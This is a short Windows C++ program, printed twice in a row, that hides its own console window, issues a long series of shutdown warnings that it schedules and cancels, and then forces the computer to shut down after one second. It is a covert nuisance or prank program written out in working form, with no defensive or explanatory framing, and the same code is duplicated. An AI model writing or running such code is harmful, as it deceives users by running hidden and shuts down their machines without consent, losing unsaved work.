#include<bits/stdc++.h>
#include<windows.h>
int main()
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
srand (time(0));
for(int i=1;i<=3;i++){
system ("shutdown -s -t 180");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 120");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 60");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 30");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 20");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 10");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 5");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 3");
Sleep(500);
system ("shutdown -a");
system ("shutdown -s -t 2");
Sleep(500);
system ("shutdown -a");
system ("shutdown -s -t 1");
Sleep(100);
system ("shutdown -a");
}
system ("shutdown -s -t 1");
return 0;
}
#include<bits/stdc++.h>
#include<windows.h>
int main()
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
srand (time(0));
for(int i=1;i<=3;i++){
system ("shutdown -s -t 180");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 120");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 60");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 30");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 20");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 10");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 5");
Sleep(1000);
system ("shutdown -a");
system ("shutdown -s -t 3");
Sleep(500);
system ("shutdown -a");
system ("shutdown -s -t 2");
Sleep(500);
system ("shutdown -a");
system ("shutdown -s -t 1");
Sleep(100);
system ("shutdown -a");
}
system ("shutdown -s -t 1");
return 0;
}